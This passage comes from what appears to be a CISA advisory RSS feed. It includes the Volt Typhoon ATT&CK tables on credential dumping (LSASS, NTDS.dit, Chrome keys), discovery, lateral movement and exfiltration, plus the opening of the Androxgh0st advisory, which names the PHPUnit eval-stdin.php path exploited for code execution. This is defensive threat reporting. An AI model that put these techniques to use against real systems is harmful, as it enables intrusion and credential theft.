  4194. &lt;td&gt;Volt Typhoon used a DLL with &lt;code&gt;MiniDump&lt;/code&gt; and the process ID of Local Security Authority Subsystem Service (LSASS) to dump the LSASS process memory and obtain credentials.&lt;/td&gt;
  4195. &lt;/tr&gt;
  4196. &lt;tr&gt;
  4197. &lt;td&gt;OS Credential Dumping: NTDS&lt;/td&gt;
  4198. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/003/" title="OS Credential Dumping: NTDS"&gt;T1003.003&lt;/a&gt;&lt;/td&gt;
  4199. &lt;td&gt;Volt Typhoon appears to prioritize obtaining valid credentials by extracting the Active Directory database file (&lt;code&gt;NTDS.dit&lt;/code&gt;).&lt;/td&gt;
  4200. &lt;/tr&gt;
  4201. &lt;tr&gt;
  4202. &lt;td&gt;Unsecured Credentials&lt;/td&gt;
  4203. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1552/" title="Unsecured Credentials"&gt;T1552&lt;/a&gt;&lt;/td&gt;
  4204. &lt;td&gt;Volt Typhoon has obtained credentials insecurely stored on an appliance.&lt;/td&gt;
  4205. &lt;/tr&gt;
  4206. &lt;tr&gt;
  4207. &lt;td&gt;Unsecured Credentials: Private Keys&lt;/td&gt;
  4208. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1552/004/" title="Unsecured Credentials: Private Keys"&gt;T1552.004&lt;/a&gt;&lt;/td&gt;
  4209. &lt;td&gt;Volt Typhoon has accessed a Local State file that contains the Advanced Encryption Standard (AES) encryption key used to encrypt the passwords stored in the Chrome browser, which enables the actors to obtain plaintext passwords stored in the Login Data file in the Chrome browser.&lt;/td&gt;
  4210. &lt;/tr&gt;
  4211. &lt;/tbody&gt;
  4212. &lt;/table&gt;
  4213. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4214. &lt;caption&gt;&lt;em&gt;Table 13: Volt Typhoon actors ATT&amp;amp;CK Techniques for Enterprise – Discovery&lt;/em&gt;&lt;/caption&gt;
  4215. &lt;thead&gt;
  4216. &lt;tr&gt;
  4217. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Discovery&lt;/strong&gt;&lt;/th&gt;
  4218. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4219. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4220. &lt;/tr&gt;
  4221. &lt;tr&gt;
  4222. &lt;th role="columnheader"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4223. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4224. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4225. &lt;/tr&gt;
  4226. &lt;/thead&gt;
  4227. &lt;tbody&gt;
  4228. &lt;tr&gt;
  4229. &lt;td&gt;Account Discovery: Local Account&lt;/td&gt;
  4230. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1087/001/" title="Account Discovery: Local Account"&gt;T1087.001&lt;/a&gt;&lt;/td&gt;
  4231. &lt;td&gt;Volt Typhoon executed &lt;code&gt;net user&lt;/code&gt; and &lt;code&gt;quser&lt;/code&gt; for user account information.&lt;/td&gt;
  4232. &lt;/tr&gt;
  4233. &lt;tr&gt;
  4234. &lt;td&gt;Application Window Discovery&lt;/td&gt;
  4235. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1010/" title="Application Window Discovery"&gt;T1010&lt;/a&gt;&lt;/td&gt;
  4236. &lt;td&gt;Volt Typhoon created and accessed a file named &lt;code&gt;rult3uil.log&lt;/code&gt; on a Domain Controller in &lt;code&gt;C:\Windows\System32\&lt;/code&gt;. The &lt;code&gt;rult3uil.log&lt;/code&gt; file contained user activities on a compromised system, showcasing a combination of window title information and focus shifts, keypresses, and command executions across Google Chrome and Windows PowerShell, with corresponding timestamps.&lt;/td&gt;
  4237. &lt;/tr&gt;
  4238. &lt;tr&gt;
  4239. &lt;td&gt;Browser Information Discovery&lt;/td&gt;
  4240. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1217/" title="Browser Information Discovery"&gt;T1217&lt;/a&gt;&lt;/td&gt;
  4241. &lt;td&gt;Volt Typhoon has installed browsers saved passwords history, credit card details, and cookies.&lt;/td&gt;
  4242. &lt;/tr&gt;
  4243. &lt;tr&gt;
  4244. &lt;td&gt;File and Directory Discovery&lt;/td&gt;
  4245. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1083/" title="File and Directory Discovery"&gt;T1083&lt;/a&gt;&lt;/td&gt;
  4246. &lt;td&gt;Volt Typhoon enumerated several directories​, including directories containing vulnerability testing and cyber related content and facilities data, such as construction drawings.&lt;/td&gt;
  4247. &lt;/tr&gt;
  4248. &lt;tr&gt;
  4249. &lt;td&gt;Log Enumeration&lt;/td&gt;
  4250. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1654/" title="Log Enumeration"&gt;T1654&lt;/a&gt;&lt;/td&gt;
  4251. &lt;td&gt;Volt Typhoon has captured successful logon events.&lt;/td&gt;
  4252. &lt;/tr&gt;
  4253. &lt;tr&gt;
  4254. &lt;td&gt;Network Service Discovery&lt;/td&gt;
  4255. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1046/" title="Network Service Discovery"&gt;T1046&lt;/a&gt;&lt;/td&gt;
  4256. &lt;td&gt;Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for system information, network service, group, and user discovery.&lt;/td&gt;
  4257. &lt;/tr&gt;
  4258. &lt;tr&gt;
  4259. &lt;td&gt;Peripheral Device Discovery&lt;/td&gt;
  4260. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1120" title="Peripheral Device Discovery"&gt;T1120&lt;/a&gt;&lt;/td&gt;
  4261. &lt;td&gt;Volt Typhoon has obtained the victim's system screen dimension and display devices information.&lt;/td&gt;
  4262. &lt;/tr&gt;
  4263. &lt;tr&gt;
  4264. &lt;td&gt;Permission Groups Discovery&lt;/td&gt;
  4265. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1069/" title="Permission Groups Discovery"&gt;T1069&lt;/a&gt;&lt;/td&gt;
  4266. &lt;td&gt;Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for system information, network service, group, and user discovery.&lt;/td&gt;
  4267. &lt;/tr&gt;
  4268. &lt;tr&gt;
  4269. &lt;td&gt;Process Discovery&lt;/td&gt;
  4270. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1057/" title="Process Discovery"&gt;T1057&lt;/a&gt;&lt;/td&gt;
  4271. &lt;td&gt;Volt Typhoon executed &lt;code&gt;tasklist /v&lt;/code&gt; to gather a detailed process listing.&lt;/td&gt;
  4272. &lt;/tr&gt;
  4273. &lt;tr&gt;
  4274. &lt;td&gt;Query Registry&lt;/td&gt;
  4275. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1012/" title="Query Registry"&gt;T1012&lt;/a&gt;&lt;/td&gt;
  4276. &lt;td&gt;Volt Typhoon has interacted with a PuTTY application by enumerating existing stored sessions.&lt;/td&gt;
  4277. &lt;/tr&gt;
  4278. &lt;tr&gt;
  4279. &lt;td&gt;Software Discovery&lt;/td&gt;
  4280. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1518" title="Software Discovery"&gt;T1518&lt;/a&gt;&lt;/td&gt;
  4281. &lt;td&gt;Volt Typhoon has obtained the victim's list of applications installed on the victim's system.&lt;/td&gt;
  4282. &lt;/tr&gt;
  4283. &lt;tr&gt;
  4284. &lt;td&gt;System Information Discovery&lt;/td&gt;
  4285. &lt;td&gt;&lt;a href="http://attack.mitre.org/versions/v14/techniques/T1082/" title="System Information Discovery"&gt;T1082&lt;/a&gt;&lt;/td&gt;
  4286. &lt;td&gt;Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for system information, network service, group, and user discovery.&lt;/td&gt;
  4287. &lt;/tr&gt;
  4288. &lt;tr&gt;
  4289. &lt;td&gt;System Location Discovery&lt;/td&gt;
  4290. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1614/" title="System Location Discovery"&gt;T1614&lt;/a&gt;&lt;/td&gt;
  4291. &lt;td&gt;Volt Typhoon has obtained the victim's system current locale.&lt;/td&gt;
  4292. &lt;/tr&gt;
  4293. &lt;tr&gt;
  4294. &lt;td&gt;System Network Configuration Discovery: Internet Connection Discovery&lt;/td&gt;
  4295. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1016/001/" title="System Network Configuration Discovery: Internet Connection Discovery"&gt;T1016.001&lt;/a&gt;&lt;/td&gt;
  4296. &lt;td&gt;Volt Typhoon employs &lt;code&gt;ping&lt;/code&gt; with various IP addresses to check network connectivity and &lt;code&gt;net start&lt;/code&gt; to list running services.&lt;/td&gt;
  4297. &lt;/tr&gt;
  4298. &lt;tr&gt;
  4299. &lt;td&gt;System Owner/User Discovery&lt;/td&gt;
  4300. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1033/" title="System Owner/User Discovery"&gt;T1033&lt;/a&gt;&lt;/td&gt;
  4301. &lt;td&gt;Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for system information, network service, group, and user discovery.&lt;/td&gt;
  4302. &lt;/tr&gt;
  4303. &lt;tr&gt;
  4304. &lt;td&gt;System Service Discovery&lt;/td&gt;
  4305. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1007/" title="System Service Discovery"&gt;T1007&lt;/a&gt;&lt;/td&gt;
  4306. &lt;td&gt;Volt Typhoon employs &lt;code&gt;ping&lt;/code&gt; with various IP addresses to check network connectivity and &lt;code&gt;net start&lt;/code&gt; to list running services.&lt;/td&gt;
  4307. &lt;/tr&gt;
  4308. &lt;tr&gt;
  4309. &lt;td&gt;System Time Discovery&lt;/td&gt;
  4310. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1124/" title="System Time Discovery"&gt;T1124&lt;/a&gt;&lt;/td&gt;
  4311. &lt;td&gt;Volt Typhoon has obtained the victim's system timezone.&lt;/td&gt;
  4312. &lt;/tr&gt;
  4313. &lt;/tbody&gt;
  4314. &lt;/table&gt;
  4315. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4316. &lt;caption&gt;&lt;em&gt;Table 14: Volt Typhoon actors ATT&amp;amp;CK Techniques for Enterprise – Lateral Movement&lt;/em&gt;&lt;/caption&gt;
  4317. &lt;thead&gt;
  4318. &lt;tr&gt;
  4319. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Lateral Movement&lt;/strong&gt;&lt;/th&gt;
  4320. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4321. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4322. &lt;/tr&gt;
  4323. &lt;tr&gt;
  4324. &lt;th role="columnheader"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4325. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4326. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4327. &lt;/tr&gt;
  4328. &lt;/thead&gt;
  4329. &lt;tbody&gt;
  4330. &lt;tr&gt;
  4331. &lt;td&gt;Remote Service Session Hijacking&lt;/td&gt;
  4332. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1563/" title="Remote Service Session Hijacking"&gt;T1563&lt;/a&gt;&lt;/td&gt;
  4333. &lt;td&gt;Volt Typhoon potentially had access to a range of critical PuTTY profiles, including those for water treatment plants, water wells, an electrical substation, operational technology systems, and network security devices. This would enable them to access these critical systems.&lt;/td&gt;
  4334. &lt;/tr&gt;
  4335. &lt;tr&gt;
  4336. &lt;td&gt;Remote Services: Cloud Services&lt;/td&gt;
  4337. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1021/007/" title="Remote Services: Cloud Services"&gt;T1021.007&lt;/a&gt;&lt;/td&gt;
  4338. &lt;td&gt;During the period of Volt Typhoon’s known network presence, there were anomalous login attempts to an Azure tenant potentially using credentials previously compromised from theft of &lt;code&gt;NTDS.dit&lt;/code&gt;.&lt;/td&gt;
  4339. &lt;/tr&gt;
  4340. &lt;tr&gt;
  4341. &lt;td&gt;Remote Services: Remote Desktop Protocol&lt;/td&gt;
  4342. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1021/001/" title="Remote Services: Remote Desktop Protocol"&gt;T1021.001&lt;/a&gt;&lt;/td&gt;
  4343. &lt;td&gt;Volt Typhoon has moved laterally to the Domain Controller via an interactive RDP session using a compromised account with domain administrator privileges.&lt;/td&gt;
  4344. &lt;/tr&gt;
  4345. &lt;tr&gt;
  4346. &lt;td&gt;Use Alternate Authentication Material&lt;/td&gt;
  4347. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1550/" title="Use Alternate Authentication Material"&gt;T1550&lt;/a&gt;&lt;/td&gt;
  4348. &lt;td&gt;Volt Typhoon may be capable of using other methods such as Pass the Hash or Pass the Ticket for lateral movement.&lt;/td&gt;
  4349. &lt;/tr&gt;
  4350. &lt;tr&gt;
  4351. &lt;td&gt;Valid Accounts: Cloud Accounts&lt;/td&gt;
  4352. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/004/" title="Valid Accounts: Cloud Accounts"&gt;T1078.004&lt;/a&gt;&lt;/td&gt;
  4353. &lt;td&gt;During the period of Volt Typhoon’s known network presence, there were anomalous login attempts to an Azure tenant potentially using credentials previously compromised from theft of &lt;code&gt;NTDS.dit&lt;/code&gt;.&lt;/td&gt;
  4354. &lt;/tr&gt;
  4355. &lt;/tbody&gt;
  4356. &lt;/table&gt;
  4357. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4358. &lt;caption&gt;&lt;em&gt;Table 15: Volt Typhoon actors ATT&amp;amp;CK Techniques for Enterprise – Collection&lt;/em&gt;&lt;/caption&gt;
  4359. &lt;thead&gt;
  4360. &lt;tr&gt;
  4361. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Collection&lt;/strong&gt;&lt;/th&gt;
  4362. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4363. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4364. &lt;/tr&gt;
  4365. &lt;tr&gt;
  4366. &lt;th role="columnheader"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4367. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4368. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4369. &lt;/tr&gt;
  4370. &lt;/thead&gt;
  4371. &lt;tbody&gt;
  4372. &lt;tr&gt;
  4373. &lt;td&gt;Archive Collected Data&lt;/td&gt;
  4374. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1560/" title="Archive Collected Data"&gt;T1560&lt;/a&gt;&lt;/td&gt;
  4375. &lt;td&gt;Volt Typhoon collected sensitive information obtained from a file server in multiple zipped files.&lt;/td&gt;
  4376. &lt;/tr&gt;
  4377. &lt;tr&gt;
  4378. &lt;td&gt;Archive Collected Data: Archive via Utility&lt;/td&gt;
  4379. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1560/001/" title="Archive Collected Data: Archive via Utility"&gt;T1560.001&lt;/a&gt;&lt;/td&gt;
  4380. &lt;td&gt;Volt Typhoon has compressed and archived the extracted &lt;code&gt;ntds.dit&lt;/code&gt; and accompanying registry files (by executing &lt;code&gt;ronf.exe&lt;/code&gt;, which was likely a renamed version of &lt;code&gt;rar.exe&lt;/code&gt;).&lt;/td&gt;
  4381. &lt;/tr&gt;
  4382. &lt;tr&gt;
  4383. &lt;td&gt;Data Staged&lt;/td&gt;
  4384. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1074/" title="Data Staged"&gt;T1074&lt;/a&gt;&lt;/td&gt;
  4385. &lt;td&gt;Volt Typhoon accessed the file &lt;code&gt;C:\Users\{redacted}\Downloads\History.zip&lt;/code&gt;, which presumably contained data from the User Data directory of the user’s Chrome browser, which the actors likely saved in the Downloads directory for exfiltration.&lt;/td&gt;
  4386. &lt;/tr&gt;
  4387. &lt;tr&gt;
  4388. &lt;td&gt;Screen Capture&lt;/td&gt;
  4389. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1113/" title="Screen Capture"&gt;T1113&lt;/a&gt;&lt;/td&gt;
  4390. &lt;td&gt;Volt Typhoon has obtained a screenshot of the victim's system using two libraries (&lt;code&gt;gdi32.dll&lt;/code&gt; and &lt;code&gt;gdiplus.dll&lt;/code&gt;)&lt;/td&gt;
  4391. &lt;/tr&gt;
  4392. &lt;/tbody&gt;
  4393. &lt;/table&gt;
  4394. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4395. &lt;caption&gt;&lt;em&gt;Table 16: Volt Typhoon actors ATT&amp;amp;CK Techniques for Enterprise – Command and Control&lt;/em&gt;&lt;/caption&gt;
  4396. &lt;thead&gt;
  4397. &lt;tr&gt;
  4398. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Command and Control&lt;/strong&gt;&lt;/th&gt;
  4399. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4400. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4401. &lt;/tr&gt;
  4402. &lt;tr&gt;
  4403. &lt;th role="columnheader"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  4404. &lt;th role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  4405. &lt;th role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  4406. &lt;/tr&gt;
  4407. &lt;/thead&gt;
  4408. &lt;tbody&gt;
  4409. &lt;tr&gt;
  4410. &lt;td&gt;Encrypted Channel&lt;/td&gt;
  4411. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1573/" title="Encrypted Channel"&gt;T1573&lt;/a&gt;&lt;/td&gt;
  4412. &lt;td&gt;Volt Typhoon has setup FRP clients on a victim’s corporate infrastructure to establish covert communications channels for command and control.&lt;/td&gt;
  4413. &lt;/tr&gt;
  4414. &lt;tr&gt;
  4415. &lt;td&gt;Ingress Tool Transfer&lt;/td&gt;
  4416. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1105/" title="Ingress Tool Transfer"&gt;T1105&lt;/a&gt;&lt;/td&gt;
  4417. &lt;td&gt;Volt Typhoon uses legitimate, but outdated versions of network admin tools. For example, in one confirmed compromise, actors downloaded an outdated version of &lt;code&gt;comsvcs.dll&lt;/code&gt;, on the DC in a non-standard folder.&lt;/td&gt;
  4418. &lt;/tr&gt;
  4419. &lt;tr&gt;
  4420. &lt;td&gt;Proxy&lt;/td&gt;
  4421. &lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1090/" title="Proxy"&gt;T1090&lt;/a&gt;&lt;/td&gt;
  4422. &lt;td&gt;Volt Typhoon has setup FRP clients on a victim’s corporate infrastructure to establish covert communications channels for command and control.&lt;/td&gt;
  4423. &lt;/tr&gt;
  4424. &lt;tr&gt;
  4425. &lt;td&gt;Proxy: Internal Proxy&lt;/td&gt;
  4426. &lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1090/001/" title="Proxy: Internal Proxy"&gt;T1090.001&lt;/a&gt;&lt;/td&gt;
  4427. &lt;td&gt;Volt Typhoon has used the &lt;code&gt;netsh&lt;/code&gt; command, a legitimate Windows command, to create a PortProxy registry modification on the PRTG server.&lt;/td&gt;
  4428. &lt;/tr&gt;
  4429. &lt;tr&gt;
  4430. &lt;td&gt;Proxy: Multi-hop Proxy&lt;/td&gt;
  4431. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1090/003/" title="Proxy: Multi-hop Proxy"&gt;T1090.003&lt;/a&gt;&lt;/td&gt;
  4432. &lt;td&gt;Volt Typhoon uses multi-hop proxies for command-and-control infrastructure.&lt;/td&gt;
  4433. &lt;/tr&gt;
  4434. &lt;/tbody&gt;
  4435. &lt;/table&gt;
  4436. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  4437. &lt;caption&gt;&lt;em&gt;Table 17: Volt Typhoon actors ATT&amp;amp;CK Techniques for Enterprise – Exfiltration&lt;/em&gt;&lt;/caption&gt;
  4438. &lt;thead&gt;
  4439. &lt;tr&gt;
  4440. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Exfiltration&lt;/strong&gt;&lt;/th&gt;
  4441. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4442. &lt;th scope="col" role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  4443. &lt;/tr&gt;
  4444. &lt;/thead&gt;
  4445. &lt;tbody&gt;
  4446. &lt;tr&gt;
  4447. &lt;td&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/td&gt;
  4448. &lt;td&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/td&gt;
  4449. &lt;td&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/td&gt;
  4450. &lt;/tr&gt;
  4451. &lt;tr&gt;
  4452. &lt;td&gt;Exfiltration Over Alternative Protocol&lt;/td&gt;
  4453. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1048/" title="Exfiltration Over Alternative Protocol"&gt;T1048&lt;/a&gt;&lt;/td&gt;
  4454. &lt;td&gt;Volt Typhoon exfiltrated files via Server Message Block (SMB).&lt;/td&gt;
  4455. &lt;/tr&gt;
  4456. &lt;/tbody&gt;
  4457. &lt;/table&gt;
  4458. </description>
  4459.  <pubDate>Thu, 01 Feb 2024 15:37:41 EST</pubDate>
  4460.    <dc:creator>CISA</dc:creator>
  4461.    <guid isPermaLink="false">/node/20848</guid>
  4462.    </item>
  4463. <item>
  4464.  <title>Known Indicators of Compromise Associated with Androxgh0st Malware</title>
  4465.  <link>https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-016a</link>
  4466.  <description>&lt;h3&gt;&lt;strong&gt;SUMMARY&lt;/strong&gt;&lt;/h3&gt;
  4467. &lt;p&gt;The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory (CSA) to disseminate known indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs) associated with threat actors deploying Androxgh0st malware. Multiple, ongoing investigations and trusted third party reporting yielded the IOCs and TTPs, and provided information on Androxgh0st malware’s ability to establish a botnet that can further identify and compromise vulnerable networks.&lt;/p&gt;
  4468. &lt;p&gt;The FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of cybersecurity incidents caused by Androxgh0st infections.&lt;/p&gt;
  4469. &lt;p&gt;Download the PDF version of this report:&lt;/p&gt;
  4470.  
  4471.  
  4472.  
  4473.  
  4474.  
  4475. &lt;div class="c-file"&gt;
  4476.    &lt;div class="c-file__download"&gt;
  4477.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-01/aa24-016a-known-indicators-of-compromise-associated-with-adroxgh0st-malware_0.pdf" class="c-file__link" target="_blank"&gt;AA24-016A Known Indicators of Compromise Associated with Androxgh0st Malware&lt;/a&gt;
  4478.    &lt;span class="c-file__size"&gt;(PDF,       576.40 KB
  4479.  )&lt;/span&gt;
  4480.  &lt;/div&gt;
  4481. &lt;/div&gt;
  4482. &lt;p&gt;For a downloadable copy of IOCs, see:&lt;/p&gt;
  4483.  
  4484.  
  4485.  
  4486.  
  4487.  
  4488. &lt;div class="c-file"&gt;
  4489.    &lt;div class="c-file__download"&gt;
  4490.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-01/AA24-016A.stix_.xml" class="c-file__link" target="_blank"&gt;AA24-016A STIX XML&lt;/a&gt;
  4491.    &lt;span class="c-file__size"&gt;(XML,       45.81 KB
  4492.  )&lt;/span&gt;
  4493.  &lt;/div&gt;
  4494. &lt;/div&gt;
  4495.  
  4496.  
  4497.  
  4498.  
  4499.  
  4500. &lt;div class="c-file"&gt;
  4501.    &lt;div class="c-file__download"&gt;
  4502.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-01/AA24-016A-known-indicators-of-compromise-associated-with-adroxgh0st-malware.stix__0.json" class="c-file__link" target="_blank"&gt;AA24-016A STIX JSON&lt;/a&gt;
  4503.    &lt;span class="c-file__size"&gt;(JSON,       39.87 KB
  4504.  )&lt;/span&gt;
  4505.  &lt;/div&gt;
  4506. &lt;/div&gt;
  4507. &lt;h3&gt;&lt;strong&gt;TECHNICAL DETAILS&lt;/strong&gt;&lt;/h3&gt;
  4508. &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This advisory uses the &lt;a href="https://attack.mitre.org/versions/v14/matrices/enterprise/" title="Enterprise Matrix"&gt;MITRE ATT&amp;amp;CK&lt;sup&gt;®&lt;/sup&gt; for Enterprise&lt;/a&gt; framework, version 14. See the MITRE ATT&amp;amp;CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&amp;amp;CK tactics and techniques with corresponding mitigation and/or detection recommendations. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;amp;CK framework, see CISA and MITRE ATT&amp;amp;CK’s &lt;a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;amp;CK Mapping"&gt;Best Practices for MITRE ATT&amp;amp;CK Mapping&lt;/a&gt; and CISA’s &lt;a href="https://github.com/cisagov/Decider/" title="cisagov / decider"&gt;Decider Tool&lt;/a&gt;.&lt;/p&gt;
  4509. &lt;h4&gt;&lt;strong&gt;Overview&lt;/strong&gt;&lt;/h4&gt;
  4510. &lt;p&gt;Androxgh0st malware has been observed establishing a botnet [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1583/005/" title="Acquire Infrastructure: Botnet"&gt;T1583.005&lt;/a&gt;] for victim identification and exploitation in target networks. According to open source reporting[&lt;a href="https://fortiguard.fortinet.com/threat-signal-report/5066/androxgh0st-malware-actively-used-in-the-wild" title="AndroxGh0st Malware Actively Used in the Wild"&gt;1&lt;/a&gt;], Androxgh0st is a Python-scripted malware [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/006/" title="Command and Scripting Interpreter: Python"&gt;T1059.006&lt;/a&gt;] primarily used to target .env files that contain confidential information, such as credentials [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1552/001/" title="Unsecured Credentials: Credentials In Files"&gt;T1552.001&lt;/a&gt;] for various high profile applications (i.e., Amazon Web Services [AWS], Microsoft Office 365, SendGrid, and Twilio from the Laravel web application framework). Androxgh0st malware also supports numerous functions capable of abusing the Simple Mail Transfer Protocol (SMTP), such as scanning [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1046/" title="Network Service Discovery"&gt;T1046&lt;/a&gt;] and exploiting exposed credentials [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/" title="Valid Accounts"&gt;T1078&lt;/a&gt;] and application programming interfaces (APIs) [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1114/" title="Email Collection"&gt;T1114&lt;/a&gt;], and web shell deployment [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1505/003/" title="Server Software Component: Web Shell"&gt;T1505.003&lt;/a&gt;].&lt;/p&gt;
  4511. &lt;h4&gt;&lt;strong&gt;Targeting the PHPUnit&lt;/strong&gt;&lt;/h4&gt;
  4512. &lt;p&gt;Androxgh0st malware TTPs commonly involves the use of scripts, conducting scanning [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1595/" title="Active Scanning"&gt;T1595&lt;/a&gt;] and searching for websites with specific vulnerabilities. In particular, threat actors deploying Androxgh0st have been observed exploiting &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2017-9841" title="CVE-2017-9841"&gt;CVE-2017-9841&lt;/a&gt; to remotely run hypertext preprocessor (PHP) code on fallible websites via PHPUnit [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1190/" title="Exploit Public-Facing Application"&gt;T1190&lt;/a&gt;]. Websites using the PHPUnit module that have internet-accessible (exposed) &lt;code&gt;/vendor&lt;/code&gt; folders are subject to malicious &lt;code&gt;HTTP POST&lt;/code&gt; requests to the &lt;code&gt;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&lt;/code&gt; uniform resource identifier (URI). This PHP page runs PHP code submitted through a POST request, which allows the threat actors to remotely execute code.&lt;/p&gt;
